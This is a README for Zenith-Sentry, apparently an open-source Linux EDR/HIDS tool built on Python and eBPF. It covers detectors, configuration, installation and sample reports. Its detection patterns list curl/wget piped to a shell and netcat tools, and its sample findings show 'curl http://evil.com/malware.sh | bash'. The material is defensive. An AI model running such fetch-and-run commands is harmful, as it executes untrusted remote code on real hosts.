syed-sameer-ul-hassan/Zenith-Sentry

GitHub: syed-sameer-ul-hassan/Zenith-Sentry

一款基于 Python 与 eBPF 的 Linux 开源 EDR/HIDS 工具,以 MITRE ATT&CK 为导向实现行为异常检测与取证。

Stars: 6 | Forks: 0

Zenith-Sentry Logo

Zenith-Sentry EDR v2.0

一款适用于 Linux 的生产就绪型、开源端点检测与响应 (EDR) 工具包
基于“假设已失陷”理念构建——在威胁狩猎你之前,先狩猎威胁。

Python Linux Kernel MIT License MITRE ATT&CK eBPF

## 概述 Zenith-Sentry 是一款**基于主机的入侵检测与取证工具包**,适用于 Linux。它不单纯依赖静态签名,而是**主动探测**行为异常、内存执行模式以及可疑的持久化机制,并将所有发现直接映射到 **MITRE ATT&CK** 框架。 **核心理念:“假设已失陷”** —— 将每个 Linux 主机视为已被入侵,并进行威胁狩猎以寻找证据。 ### Zenith-Sentry 的独特之处 | 特性 | 传统 AV | Zenith-Sentry | |---------|---|---| | 检测方法 | 基于签名 | 行为 + 签名 | | Rootkit 可见性 | 有限(仅用户空间) | 完整(通过 eBPF 实现内核级可见) | | 误报率 | 高 | 低(行为启发式) | | SIEM 集成 | 手动 JSON 转换 | 原生 JSON 输出 | | 插件系统 | 闭源 | 开放、可扩展 | | 成本 | 昂贵 | 免费且开源 | | 学习曲线 | 陡峭 | 入门友好 | ### 关键能力 **行为威胁检测** — 探测可疑的进程模式,而不仅仅是已知恶意软件 **eBPF 内核监控** — 系统级可见性,Rootkit 无法逃避 **自动 JSON 报告** — 报告自动保存至 `user_data/scan_*.json` **可插拔的检测器架构** — 无需修改核心代码即可插入新的检测规则 **双接口** — 交互式 TUI 或 CLI,适合脚本编写与 SIEM 集成 **MITRE ATT&CK 映射** — 所有发现均按攻击战术分类 **生产就绪** — 无静默失败,全面错误处理与完整日志记录 该工具支持两种接口: **交互式 TUI** (`gui.py`) — 由 Python `curses` 驱动的全屏终端菜单 **CLI 后端** (`main.py`) — 用于脚本编写与 SIEM 集成的原始命令行执行 扫描结果会**自动保存**为带时间戳的 JSON 报告,存放在 `user_data/` 目录中。 ## 完整的文件树与详细结构 ### 带有描述的完整目录布局 ``` Zenith-Sentry/ │ ├── README.md [THIS FILE] Complete user guide with all details ├── LICENSE MIT License text (free to use/modify/distribute) ├── IMPLEMENTATION.md Technical implementation details (50+ fixes) ├── COMPLETE_FIX_SUMMARY.md Summary of all security fixes and improvements ├── config.yaml Runtime configuration (user editable) ├── requirements.txt Python package dependencies (pip install) ├── prompt.txt Prompt template for LLM integration │ ├── SETUP & INSTALLATION SCRIPTS │ ├── start.sh [MAIN ENTRY POINT] Automated setup & launcher │ │ - Auto Python 3.8+ detection │ │ - Virtual environment creation │ │ - Dependency installation │ │ - eBPF optional setup │ │ - SHA256 verification │ │ - Retry logic (3 attempts, 2s delays) │ │ - Timeout protection │ │ - ~230 lines, fully hardened │ │ │ ├── install_ebpf_deps.sh BCC toolkit automatic installer │ │ - OS detection (Ubuntu/Debian/Fedora/RHEL) │ │ - Conditional package installation │ │ - Kernel header verification │ │ - Error handling & logging │ │ │ └── Usage: bash -n /path/to/start.sh Syntax check command (no execution) │ ├── MAIN ENTRY POINTS & INTERFACES │ │ │ ├── main.py [PRIMARY] CLI interface - Command-line │ │ Size: 2.3K | Lines: 80+ │ │ Entry point for automated/scripted scans │ │ Features: │ │ - argparse-based command parsing │ │ - Subcommands: full-scan, process, network, persistence, fim, hunt │ │ - Flags: --json, --ebpf, --profile, --risk-threshold, --verbose │ │ - Error handling: KeyboardInterrupt, Exception with exit codes │ │ - Logging configuration at module level │ │ Example: python3 main.py full-scan --json --ebpf │ │ │ ├── gui.py [INTERACTIVE] TUI - Curses-based interface │ │ Size: 8.3K | Lines: 250+ │ │ Interactive terminal user interface │ │ Features: │ │ - Full-screen curses menu system │ │ - Menu options: Full Scan, Process, Network, Persistence, Exit │ │ - Color-coded output (green/yellow/red by risk) │ │ - Scrollable results window │ │ - Logging suppression for clean TUI │ │ - DummyArgs mock for engine integration │ │ - eBPF parameter support │ │ Example: python3 gui.py (or ./start.sh) │ │ │ ├── process_execve_monitor.py [eBPF] Real-time process execution monitor │ │ Size: 12K | Lines: 350+ │ │ Kernel-level process execution tracking │ │ Features: │ │ - BCC library for eBPF kernel program compilation │ │ - Tracepoint attachment (sys_enter_execve, sys_exit_execve) │ │ - Ring buffer event output │ │ - Human-readable or JSON output │ │ - Event filtering and threat detection heuristics │ │ - Source validation & root privilege check │ │ - Debug mode support │ │ - ~1-2μs overhead per event │ │ Example: sudo python3 process_execve_monitor.py --source zenith/ebpf/execve_monitor.c │ ├── CORE PACKAGE: zenith/ │ │ Main engine and utilities package │ │ │ ├── __init__.py Package initialization (empty marker) │ │ │ ├── CORE COMPONENTS │ │ ├── core.py Data models and interfaces │ │ │ Size: 1.8K | Lines: 60+ │ │ │ Defines: │ │ │ - class RiskLevel(Enum) - INFO, LOW, MEDIUM, HIGH, CRITICAL │ │ │ - class Severity(Enum) - LOW, MEDIUM, HIGH, CRITICAL │ │ │ - class Finding(dataclass) - Represents individual findings │ │ │ - class IDetector(ABC) - Base interface for detector plugins │ │ │ Type hints, validation in __post_init__ │ │ │ MITRE ATT&CK tactic mapping │ │ │ │ │ ├── engine.py Orchestration engine - Main scan coordinator │ │ │ Size: 6.6K | Lines: 200+ │ │ │ Contains: class ZenithEngine │ │ │ Responsibility: │ │ │ - Orchestrates 6-phase scan pipeline │ │ │ - Coordinates telemetry collection │ │ │ - Manages plugin loading & execution │ │ │ - Calculates risk scores │ │ │ - Generates JSON reports │ │ │ - Produces human-readable output │ │ │ - Error isolation per detector │ │ │ - Logging at DEBUG/INFO/WARNING/ERROR levels │ │ │ Methods: │ │ │ - run_scan() - Execute complete scan │ │ │ - start_ebpf_monitor() - Optional kernel monitoring │ │ │ - _print_human_readable() - Formatted output │ │ │ │ │ ├── collectors.py Telemetry collection modules │ │ │ Size: 2.1K | Lines: 80+ │ │ │ Classes: │ │ │ - ProcessCollector - Enumerate all running processes │ │ │ Uses: psutil.process_iter() │ │ │ Handles: NoSuchProcess, AccessDenied, ZombieProcess │ │ │ Returns: {pid: {name, cmdline, user, ...}, ...} │ │ │ │ │ │ - NetworkCollector - Enumerate network connections │ │ │ Uses: psutil.net_connections() │ │ │ Currently: Stub (extensible) │ │ │ Returns: [conn1, conn2, ...] │ │ │ │ │ │ - SystemCollector - Scan filesystem for persistence │ │ │ Currently: Stub (extensible) │ │ │ Reads from: config.yaml scan_dirs │ │ │ Returns: {file: {...}, ...} │ │ │ │ │ │ All with comprehensive exception handling │ │ │ │ │ └── registry.py Dynamic plugin loader │ │ Size: 3.6K | Lines: 120+ │ │ Contains: class PluginRegistry │ │ Responsibility: │ │ - Scan zenith/plugins/ directory │ │ - Dynamically import Python modules │ │ - Inspect classes for IDetector implementation │ │ - Instantiate detector plugins │ │ - Track loading errors │ │ Methods: │ │ - load_plugins() - Load all .py plugins │ │ - _load_plugin_file() - Load single plugin with error isolation │ │ - get_detectors() - Return list of loaded detectors │ │ - get_errors() - Return list of loading errors │ │ Exception handling: │ │ - SyntaxError (malformed Python) │ │ - RuntimeError (import issues) │ │ - Exception (catch-all fallback) │ │ │ ├── SUPPORT & UTILITY MODULES │ │ ├── config.py Configuration management │ │ │ Size: 1.7K | Lines: 60+ │ │ │ Contains: class ConfigLoader │ │ │ Responsibility: │ │ │ - Parse config.yaml using PyYAML │ │ │ - Provide get() access pattern │ │ │ - Handle missing file gracefully │ │ │ Methods: │ │ │ - __init__(filepath='config.yaml') │ │ │ - get(key, default=None) │ │ │ Exception handling: │ │ │ - FileNotFoundError │ │ │ - YAMLError (parse errors) │ │ │ - IOError (file read errors) │ │ │ - Exception (fallback) │ │ │ Logging at INFO/WARNING/ERROR levels │ │ │ │ │ └── utils.py Utility functions │ │ Size: 1.6K | Lines: 50+ │ │ Functions: │ │ - safe_read(filepath, max_bytes=1048576) - Safe file reading │ │ Type checking: filepath must be str │ │ Existence check: os.path.isfile() │ │ Size check: os.path.getsize() │ │ Max bytes limit: Prevents memory exhaustion │ │ Exception handling: PermissionError, OSError, Exception │ │ Returns: File contents or empty string on error │ │ All with comprehensive logging │ │ │ ├── PLUGIN SYSTEM: plugins/ │ │ ├── __init__.py Plugin package initialization (empty) │ │ │ │ │ └── detectors.py Built-in threat detectors │ │ Size: 2.5K | Lines: 90+ │ │ Contains: class ProcessDetector(IDetector) │ │ Detects: 6 suspicious process execution patterns: │ │ 1. curl | bash │ │ 2. curl | sh │ │ 3. wget | bash │ │ 4. wget | sh │ │ 5. |bash (pipe to bash) │ │ 6. |sh (pipe to shell) │ │ All marked as: │ │ - Risk: HIGH or CRITICAL │ │ - Severity: HIGH or CRITICAL │ │ - MITRE Tactic: Execution (T1059) │ │ Methods: │ │ - __init__() - Initialize with telemetry data │ │ - analyze() - Analyze processes for suspicious patterns │ │ Features: │ │ - Safe string handling │ │ - Evidence truncation (512 chars max) │ │ - Per-process error isolation │ │ - Logging of errors and findings │ │ │ └── EBPF KERNEL PROGRAMS: ebpf/ │ ├── README.md eBPF technical documentation │ │ - Kernel version requirements │ │ - Tracepoint reference │ │ - BPF program structure │ │ - Event schema │ │ - Compilation & loading │ │ │ └── execve_monitor.c Kernel-level process execution monitor │ Size: ~7K | Lines: ~250 │ Language: C (eBPF) │ Compiled to: eBPF bytecode │ Runs in: Linux kernel BPF VM │ Purpose: Hook process execution at syscall level │ Tracepoints: │ 1. syscalls:sys_enter_execve │ - Fires on EVERY execve() call │ - Captures: PID, PPID, UID, GID, comm, filename │ - Stores in: Ring buffer (kernel 5.8+) │ - Fallback: Perf buffer (older kernels) │ │ 2. syscalls:sys_exit_execve │ - Captures exit status │ - Detects: Failed execution attempts (evasion) │ │ Data structures: │ - struct execve_event { │ u32 pid, ppid, uid, gid; │ char comm[16], filename[256]; │ u64 timestamp_ns; │ u8 event_type; │ } │ │ Buffer output: │ - Ring buffer output for async event delivery │ - ~1-2 microseconds per event overhead │ - Memory safe: bpf_probe_read_kernel_str/user_str │ - BPF verifier compliant │ └── [END OF TREE] ``` ### 文件大小参考 ``` TOTAL SIZE: ~140 KB (as of April 16, 2026) - Clean production version BREAKDOWN BY CATEGORY: Core Engine: zenith/core.py ......................... 1.8K (data models, 60 lines) zenith/engine.py ....................... 6.6K (orchestration, 200 lines) zenith/collectors.py ................... 2.1K (telemetry, 80 lines) zenith/registry.py ..................... 3.6K (plugin loader, 120 lines) Subtotal: 14.1K Support Modules: zenith/config.py ....................... 1.7K (config, 60 lines) zenith/utils.py ........................ 1.6K (utilities, 50 lines) Subtotal: 3.3K User Interfaces: main.py ............................... 2.3K (CLI, 80 lines) gui.py ................................ 8.3K (TUI, 250 lines) Subtotal: 10.6K eBPF Monitoring: process_execve_monitor.py ............. 12K (eBPF manager, 350 lines) zenith/ebpf/execve_monitor.c ......... ~7K (kernel program, 250 lines) Subtotal: 19K Setup & Install: start.sh .............................. 5.7K (setup, 230 lines) install_ebpf_deps.sh .................. 4.7K (dependency installer) requirements.txt ....................... 0.3K (pip packages) Subtotal: 10.7K Plugins: zenith/plugins/detectors.py ........... 2.5K (detectors, 90 lines) Subtotal: 2.5K Documentation: README.md ............................ ~80K (comprehensive guide) IMPLEMENTATION.md .................... ~10K (fixes & technical details) COMPLETE_FIX_SUMMARY.md .............. ~8K (summary) Subtotal: ~98K TOTAL: ~140K (removed 5 unused files, now production-only) ``` ## 核心架构深度解析 Zenith-Sentry 构建在**模块化、解耦**的架构之上,旨在实现可扩展性与可靠性: | 组件 | 文件 | 职责 | |---|---|---| | **引擎** | `zenith/engine.py` | 以错误隔离方式编排完整扫描流水线 | | **收集器** | `zenith/collectors.py` | 通过 `psutil` 与文件系统收集遥测数据 | | **插件注册表** | `zenith/registry.py` | 在运行时动态加载所有 `IDetector` 插件 | | **核心模型** | `zenith/core.py` | 定义 `Finding`、`RiskLevel`、`Severity` 与 `IDetector` | | **TUI** | `gui.py` | 基于 curses 的全屏界面,带颜色编码输出 | | **eBPF 管理器** | `process_execve_monitor.py` | 管理内核级进程执行监控 | | **eBPF 内核** | `zenith/ebpf/execve_monitor.c` | `sys_execve` 跟踪点钩子 | ### 扫描如何工作 ``` start.sh / main.py / gui.py │ ▼ ZenithEngine │ ┌────┴──────────────────────────┐ │ │ ▼ ▼ Collectors PluginRegistry (Process/Network/ (auto-loads all System telemetry) .py plugins) │ │ └────────────┬──────────────────┘ │ ▼ IDetector.analyze() (with error isolation) │ ▼ Aggregate Risk Score (0–100) │ ▼ user_data/scan_.json ``` ## 功能详解 ### 0. eBPF 进程执行监控 — 生产就绪! ⚡ **零系统调用开销的内核级可见性** Zenith-Sentry 包含一个**生产就绪的 eBPF 进程执行监控器**,它挂钩 Linux 内核的 `sys_execve` 跟踪点,实现实时进程追踪: | 特性 | 详情 | |---|---| | **可见性** | 在内核层捕获每一次进程执行(无法被用户空间 Rootkit 隐藏) | | **性能** | 每次 execve 约 1–2 微秒,对典型系统 CPU 影响 <1% | | **输出格式** | 用于 SIEM 集成的 JSON;支持人类可读的 CLI 输出 | | **威胁检测** | 内置对以 root 身份执行、可疑文件位置、失败的 execve 尝试的启发式检测 | | **集成** | 扫描流水线中的可选后台线程;也可作为独立监控器运行 | | **安全性** | SHA256 校验、输入验证、优雅的错误处理 | **快速开始:** ``` # 安装 eBPF 依赖(自动化) sudo bash install_ebpf_deps.sh # 独立内核级进程监控(JSON 输出) sudo python3 process_execve_monitor.py --source zenith/ebpf/execve_monitor.c # 与 Zenith-Sentry 完整扫描集成 sudo python3 main.py full-scan --ebpf --json # 人类可读输出 sudo python3 process_execve_monitor.py --source zenith/ebpf/execve_monitor.c --human ``` **关键文件:** - `process_execve_monitor.py` — Python BCC 管理的用户空间进程监控 - `zenith/ebpf/execve_monitor.c` — eBPF 内核程序(跟踪点钩子) - `install_ebpf_deps.sh` — BCC 工具包的自动化安装(支持所有平台) - `zenith/ebpf/README.md` — 包含内核细节的完整实现指南 请参阅 [eBPF 实现指南](zenith/ebpf/README.md) 获取完整技术文档。 ### 1. 进程分析 — `ProcessDetector` (`zenith/plugins/detectors.py`) 检查实时进程树,识别恶意执行模式与行为异常。 **检测模式:** | 模式 | MITRE 战术 | 风险等级 | 描述 | |---|---|---|---| | `curl ... \| bash` | 执行 (T1059) | 严重 | 通过 curl 管道执行的远程代码 | | `curl ... \| sh` | 执行 (T1059) | 严重 | 通过 curl 管道执行的远程代码 | | `wget ... \| bash` | 执行 (T1059) | 严重 | 通过 wget 管道执行的远程代码 | | `wget ... \| sh` | 执行 (T1059) | 严重 | 通过 wget 管道执行的远程代码 | | `\|bash` | 执行 (T1059) | 高 | 直接管道至 Bash Shell | | `\|sh` | 执行 (T1059) | 高 | 直接管道至 Shell | **工作原理:** - 通过 `psutil` 枚举所有运行中的进程 - 从进程参数重建命令行 - 对可疑执行字符串进行模式匹配 - 隔离式证据收集(单个进程错误不会中断扫描) - 证据内容截断至 512 字符(防止内存耗尽) --- ### 2. 网络分析 — `NetworkCollector` (`zenith/collectors.py`) 收集活动的 TCP/UDP 套接字数据,供网络感知型检测器插件分析。 **当前状态:** - 收集器骨架已就绪,便于后续扩展 - 当前返回空列表(尚未有检测器) - 可通过 `config.yaml` 配置可疑端口列表与回环忽略规则 **未来扩展:** - 检测可疑端口上的反向 Shell - 识别 C2(命令与控制)通信模式 - 监控 DNS 渗漏尝试 ### 3. 持久化发现 — `SystemCollector` (`zenith/collectors.py`) 扫描文件系统以查找持久化机制(如 cron 作业、systemd 服务、初始化脚本等)。 **当前状态:** - 收集器骨架已就绪 - 当前返回空字典(尚未有检测器) - 支持从 `config.yaml` 传入自定义 `scan_dirs` **未来扩展:** - 扫描可疑的 cron 条目 - 检测 systemd 单元的修改 - 在 `/lib/modules/` 中发现 Rootkit - 识别未经授权的初始化脚本 ### 4. 风险评分引擎 (`zenith/engine.py`) 基于所有检测器在全扫描中发现的证据,计算整体 **主机风险评分(0–10)**: ``` score = min(average([f.risk.value for f in findings]), 100) ``` **风险等级:** | 等级 | 值 | 含义 | |---|---|---| | `INFO` | 0 | 信息性(无需操作) | | `LOW` | 25 | 低风险(监控) | | `MEDIUM` | 50 | 中风险(调查) | | `HIGH` | 75 | 高风险(紧急响应) | | `CRITICAL` | 100 | 严重(立即行动) | **安全特性:** - 防除零错误 - 每个检测器独立错误处理 - 评分上限为 100 ### 5. 自动保存的 JSON 报告 (`zenith/engine.py`) 每次扫描都会自动将结构化报告保存至: ``` user_data/scan_YYYYMMDD_HHMMSS.json ``` **报告结构:** ``` { "score": 75, "timestamp": "20260416_142345", "findings": [ { "id": "550e8400-e29b-41d4-a716-446655440000", "module": "ProcessAnalysis", "risk": "CRITICAL", "severity": "CRITICAL", "tactic": "Execution", "description": "Suspicious pipe to bash shell detected", "evidence": { "pid": 2847, "process_name": "bash", "cmdline": "curl http://evil.com/malware.sh | bash", "user": "Test", "start_time": "YYYY-MM-DD HH:MM:SS" } } ] } ``` ## 插件系统 Zenith-Sentry 使用**动态插件加载器**(`zenith/registry.py`),可自动发现并加载所有检测器插件。放置在 `zenith/plugins/` 目录下、继承自 `IDetector` 的任意 Python 文件将在**运行时自动加载**——无需配置。 ### 编写自定义插件 创建文件 `zenith/plugins/my_detector.py`: ``` from zenith.core import IDetector, Finding, RiskLevel, Severity class MyDetector(IDetector): """Custom threat detector for suspicious behavior.""" name = "MyModule" # Detector name def __init__(self, procs, conns, sys_files, config, **kwargs): """Initialize detector with telemetry data. Args: procs: Dict of process telemetry conns: List of network connections sys_files: Dict of filesystem data config: Configuration dict """ self.procs = procs or {} self.conns = conns or [] self.sys_files = sys_files or {} self.config = config or {} def analyze(self): """Analyze telemetry for threats. Returns: List of Finding objects (empty if no threats) """ findings = [] for pid, info in self.procs.items(): try: # Your detection logic here if self._is_suspicious(info): findings.append(Finding( module=self.name, risk=RiskLevel.HIGH, severity=Severity.HIGH, tactic="Execution", description="Custom suspicious behavior detected", evidence={"pid": pid, "details": str(info)[:512]} )) except Exception as e: # Log error, continue processing other processes print(f"Error analyzing PID {pid}: {e}") continue return findings def _is_suspicious(self, process_info): """Your custom detection logic.""" # Example: detect processes named "nc" or "ncat" return process_info.get('name') in ['nc', 'ncat', 'netcat'] ``` **部署步骤:** 1. 保存为 `zenith/plugins/my_detector.py` 2. 运行一次扫描 — 检测器将自动加载! 3. 无需任何配置 **最佳实践:** - 每个进程独立处理异常(避免单点错误导致扫描崩溃) - 截断证据内容以防内存耗尽 - 使用有意义的 `tactic` 名称(来自 MITRE ATT&CK) - 添加文档字符串以提升可维护性 ## 配置文件 (`config.yaml`) ``` # 网络相关配置 network: # List of ports commonly used by malware/C2 suspicious_ports: [4444, 5555, 1337] # Skip localhost connections (reduce noise) ignore_loopback: true # 持久化扫描配置 persistence: # Additional directories to scan for persistence mechanisms scan_dirs: [] # Examples: # - /opt/startup # - /usr/local/bin ``` ## 安装与设置指南 ### 系统要求 | 要求 | 说明 | |---|---| | **操作系统** | 任意 Linux 发行版 | | **内核** | 4.8+(推荐 5.8+ 以支持 eBPF) | | **Python** | 3.8+ | | **内存** | 最低 256MB(推荐 1GB) | | **磁盘** | 依赖与虚拟环境占用约 500MB | | **权限** | 核心扫描可使用普通用户;eBPF 功能需 root | ### 步骤 1:克隆仓库 ``` git clone cd Zenith-Sentry ``` ### 步骤 2:自动化安装(推荐) 脚本 `start.sh` 可**全自动完成所有操作**: ``` ./start.sh ``` 该脚本将: 1. 验证是否安装 Python 3.8+ 2. 创建 `.venv` 虚拟环境(如不存在) 3. 安装 PyYAML(通过 pip) 4. 安装 psutil(通过 pip) 5. 可选安装 eBPF 工具包(BCC) 6. 验证所有安装 7. 启动交互式 TUI 8. 退出时清理虚拟环境 **特性:** - 自动检测 Python 版本(无需硬编码) - 下载校验 SHA256 - 网络重试逻辑(3 次尝试,间隔 2 秒) - 自动识别操作系统(Ubuntu/Debian/Fedora/RHEL) - 连接超时保护(10 秒连接,总时长 30 秒) ### 步骤 3:手动安装(可选) 如需手动控制: ``` # 创建虚拟环境 python3 -m venv .venv # 激活虚拟环境 source .venv/bin/activate # 安装 Python 依赖 pip install -r requirements.txt # 运行 TUI python3 gui.py # 或运行 CLI python3 main.py full-scan --json ``` ### 步骤 4:启用 eBPF(可选) 要启用内核级进程执行监控: ``` # 自动化设置(推荐) sudo bash install_ebpf_deps.sh # 手动设置(Ubuntu/Debian) sudo apt update && sudo apt install -y \ bpf-tools \ libbpf-dev \ linux-headers-$(uname -r) \ python3-dev # 手动设置(Fedora/RHEL) sudo dnf install -y \ bcc-tools \ libbpf-devel \ kernel-devel # 安装 Python BCC 绑定 pip3 install bcc ``` ## 使用指南 ### 选项 1:交互式 TUI(推荐) 使用 Zenith-Sentry 最简便的方式: ``` ./start.sh ``` **导航方式:** - **↑ / ↓ 方向键** — 移动选择 - **Enter** — 确认选择 - **q** — 退出(结果视图中) **菜单选项:** | 选项 | 命令 | 描述 | |---|---|---| | 完整系统扫描 | `full-scan` | 对整个系统进行完整威胁评估 | | 进程分析 | `process` | 分析运行中进程的可疑模式 | | 网络分析 | `network` | 监控活跃的网络连接 | | 持久化发现 | `persistence` | 查找持久化机制(cron、systemd 等) | | 退出 | — | 关闭工具 | **结果展示:** - 按风险等级着色(绿/黄/红) - 支持滚动查看结果 - 自动保存 JSON 至 `user_data/` ### 选项 2:命令行接口 适用于脚本编写与 SIEM 集成: ``` # 基础完整系统扫描 python3 main.py full-scan # 以 JSON 格式输出(用于 SIEM) python3 main.py full-scan --json # 启用内核监控(需要 root 权限) sudo python3 main.py full-scan --ebpf --json # 按风险等级过滤(0-100) python3 main.py full-scan --risk-threshold 50 # 仅扫描进程 python3 main.py process # 仅扫描网络 python3 main.py network # 仅扫描持久化机制 python3 main.py persistence # 调试模式(详细日志) python3 main.py full-scan --verbose # 自定义配置文件 python3 main.py full-scan --profile /path/to/config.yaml ``` **CLI 参数:** | 参数 | 类型 | 可选值 | 默认值 | 描述 | |---|---|---|---|---| | `command` | 位置参数 | `full-scan`, `process`, `network`, `persistence`, `fim`, `hunt` | — | 扫描类型 | | `--json` | 标志 | — | `False` | 以 JSON 格式输出结果 | | `--ebpf` | 标志 | — | `False` | 启用 eBPF 内核监控 | | `--profile` | 字符串 | 文件路径 | `config.yaml` | 自定义配置文件 | | `--risk-threshold` | 整数 | 0–100 | 0 | 仅显示不低于此风险等级的结果 | | `--verbose` | 标志 | — | `False` | 调试日志输出 | ### 选项 3:实时 eBPF 监控 用于内核级进程执行可见性: ``` # 独立监控(JSON 输出,仅追加) sudo python3 process_execve_monitor.py \ --source zenith/ebpf/execve_monitor.c # 人类可读输出(用于 CLI) sudo python3 process_execve_monitor.py \ --source zenith/ebpf/execve_monitor.c \ --human # 带调试信息的监控 sudo python3 process_execve_monitor.py \ --source zenith/ebpf/execve_monitor.c \ --debug ``` **输出示例:** ``` { "timestamp_ns": 1713278625123456789, "pid": 2847, "ppid": 2840, "uid": 1000, "gid": 1000, "comm": "bash", "filename": "/bin/curl", "event_type": "EXECVE_ENTER" } ``` ## 输出格式细节 ### 人类可读输出 ``` ================================================== ZENITH-SENTRY Scan Results ================================================== Scan Timestamp: 2026-04-16 14:23:45 Risk Score: 75/100 Findings (1 total): [1] CRITICAL | Execution (T1059) Module: ProcessAnalysis Severity: CRITICAL Description: Suspicious pipe to bash shell detected Evidence: - pid: 2847 - process_name: bash - cmdline: curl http://evil.com/malware.sh | bash - user: test - start_time: 2026-04-16 14:23:45 ``` ### JSON 格式 适用于 SIEM 摄取与自动化: ``` { "score": 75, "timestamp": "20260416_142345", "findings": [ { "id": "550e8400-e29b-41d4-a716-446655440000", "module": "ProcessAnalysis", "risk": "CRITICAL", "severity": "CRITICAL", "tactic": "Execution", "description": "Suspicious pipe to bash shell detected", "evidence": { "pid": 2847, "process_name": "bash", "cmdline": "curl http://evil.com/malware.sh | bash" } } ] } ``` ## 依赖项 | 包 | 版本 | 用途 | 安装命令 | |---|---|---|---| | `psutil` | 5.9.8+ | 进程与系统遥测收集 | `pip install psutil==5.9.8` | | `pyyaml` | 6.0.1+ | YAML 配置文件解析 | `pip install pyyaml==6.0.1` | | `bcc` | 最新版 | eBPF 内核监控(可选) | `pip install bcc` | **仅使用标准库(无需安装):** - `curses` — 终端 UI 渲染 - `argparse` — 命令行参数解析 - `json` — JSON 序列化 - `uuid` — 生成唯一 ID - `importlib` — 动态模块加载 - `inspect` — 对象检查(插件加载) - `logging` — 全代码库事件记录 - `threading` — 后台 eBPF 线程 - `datetime` — 时间戳格式化 - `os` — 操作系统接口 ## 配置深度解析 ### config.yaml ``` # 网络分析配置 network: # List of ports commonly used by malware command & control (C2) # Add your organization's high-risk ports here suspicious_ports: - 4444 # Metasploit reverse shell - 5555 # Custom C2 - 1337 # Generic high-risk - 6666 # Alternative C2 - 6667 # IRC botnet C2 - 8888 # Generic backdoor # Skip localhost (127.0.0.1) to reduce noise ignore_loopback: true # 持久化扫描配置 persistence: # Additional directories to scan for persistence mechanisms # Examples: startup scripts, cron jobs, init.d, systemd units scan_dirs: # - /opt/startup # - /usr/local/bin # - /home/*/.*rc ``` ### 自定义配置 ``` # 创建自定义配置 cp config.yaml config.prod.yaml # 编辑配置 nano config.prod.yaml # 在扫描中使用 python3 main.py full-scan --profile config.prod.yaml ``` ## 开发指南 ### 添加新检测器 **文件:** `zenith/plugins/custom_detector.py` ``` from zenith.core import IDetector, Finding, RiskLevel, Severity import logging logger = logging.getLogger(__name__) class SuspiciousPortDetector(IDetector): """Detect processes listening on high-risk ports.""" name = "SuspiciousPort" def __init__(self, procs, conns, sys_files, config, **kwargs): self.conns = conns or [] self.config = config or {} def analyze(self): findings = [] suspicious_ports = self.config.get('network', {}).get('suspicious_ports', []) for conn in self.conns: try: if conn.get('laddr') and conn['laddr'][1] in suspicious_ports: findings.append(Finding( module=self.name, risk=RiskLevel.HIGH, severity=Severity.HIGH, tactic="Command & Control", description=f"Process listening on suspicious port {conn['laddr'][1]}", evidence={ "port": conn['laddr'][1], "pid": conn.get('pid') } )) except Exception as e: logger.warning(f"Error analyzing connection: {e}") continue return findings ``` **部署:** 1. 保存至 `zenith/plugins/custom_detector.py` 2. 运行扫描 — 插件自动加载! ### 添加新收集器 **文件:** `zenith/collectors.py` — 可扩展现有收集器或新增类: ``` class FileIntegrityCollector: """Monitor file system changes.""" def collect(self): """Return dict of monitored files.""" return { "/etc/passwd": {...}, "/etc/shadow": {...}, } ``` ### 扩展 eBPF 内核程序 要添加新的 eBPF 检测,修改 **`zenith/ebpf/execve_monitor.c`** 以挂钩额外跟踪点: ``` TRACEPOINT_PROBE(syscalls, sys_enter_connect) { struct connect_event evt = {}; // Your kernel program logic here ring_buffer.ringbuf_output(&evt, sizeof(evt), 0); return 0; } ``` 随后在 `process_execve_monitor.py` 中解析并上报新事件。 ## 故障排除 ### 问题:“未找到 Python 3.x” **解决方案:** ``` # 检查已安装的 Python 版本 python3 --version # 如果缺失,请安装: sudo apt install python3.8 # Ubuntu/Debian sudo dnf install python3.8 # Fedora/RHEL ``` ### 问题:“未找到 BCC 库” **解决方案:** ``` # 自动化设置 sudo bash install_ebpf_deps.sh # 或手动操作 pip3 install bcc ``` ### 问题:“eBPF 权限被拒绝” **解决方案:** ``` # eBPF 需要 root 权限 sudo python3 process_execve_monitor.py --source zenith/ebpf/execve_monitor.c # 或使用完整扫描与 eBPF sudo python3 main.py full-scan --ebpf ``` ### 问题:“未找到 config.yaml” **解决方案:** ``` # 文件应位于当前目录 ls -la config.yaml # 如果缺失,复制默认配置 cp config.yaml.default config.yaml ``` ## 安全注意事项 ### 最佳实践 1. **在可信主机上运行** — 仅在你信任的系统上使用 2. **验证下载内容** — 自动校验 SHA256 3. **定期扫描** — 建议每周或系统变更后运行 4. **定期检查报告** — 查看 `user_data/*.json` 5. **及时更新** — 快速安装安全更新 ### Zenith-Sentry 不做什么 - 修改系统文件 - 安装 Rootkit 或恶意软件 - 向远程服务器发送数据 - 安装后需要互联网连接 - 干扰正常系统操作 ### Zenith-Sentry 能做什么 - 读取进程信息 - 分析网络连接 - 扫描文件系统元数据 - 生成本地报告 - 以最小权限运行(尽可能) ## 贡献 ### 报告问题 发现 Bug?请提供: 1. 复现步骤 2. 预期行为与实际行为 3. 系统信息(操作系统、内核版本、Python 版本) 4. 错误日志(扫描输出或 `.log` 文件) ### 添加功能 希望扩展 Zenith-Sentry? 1. **检测器** — 在 `zenith/plugins/` 添加插件 2. **收集器** — 在 `zenith/collectors.py` 中增强遥测 3. **eBPF 程序** — 在 `zenith/ebpf/` 添加内核钩子 4. **文档** — 改进指南与示例 ## 许可证 MIT 许可证 — 详见 [LICENSE](LICENSE) 文件。 本项目为**自由且开源**。你可以在 MIT 许可条款下使用、修改与分发。 ## 参考与资源 ### MITRE ATT&CK 框架 - [官方 MITRE ATT&CK 网站](https://attack.mitre.org/) - [执行战术](https://attack.mitre.org/tactics/TA0002/) ### eBPF 文档 - [BCC(eBPF 编译器集合)](https://github.com/iovisor/bcc) - [Linux eBPF 内核文档](https://www.kernel.org/doc/html/latest/userspace-api/ebpf/) - [Linux 内核 BPF 文档](https://www.kernel.org/doc/html/latest/bpf/index.html) ### 安全工具与框架 - [Falco:运行时安全引擎](https://falco.org/) - [YARA:恶意软件识别](https://virustotal.github.io/yara/) - [Osquery:操作系统仪器ation](https://osquery.io/) ### Python 安全库 - [psutil:跨平台系统指标](https://psutil.readthedocs.io/) - [PyYAML:YAML 解析器与发射器](https://pyyaml.org/) ## 完整命令参考与示例 ### 1. 安装与设置命令 ``` # 安装所有依赖 $ ./start.sh ✓ Checks Python 3.8+ ✓ Creates virtual environment ✓ Installs dependencies (psutil, PyYAML) ✓ Optional eBPF setup ✓ Launches 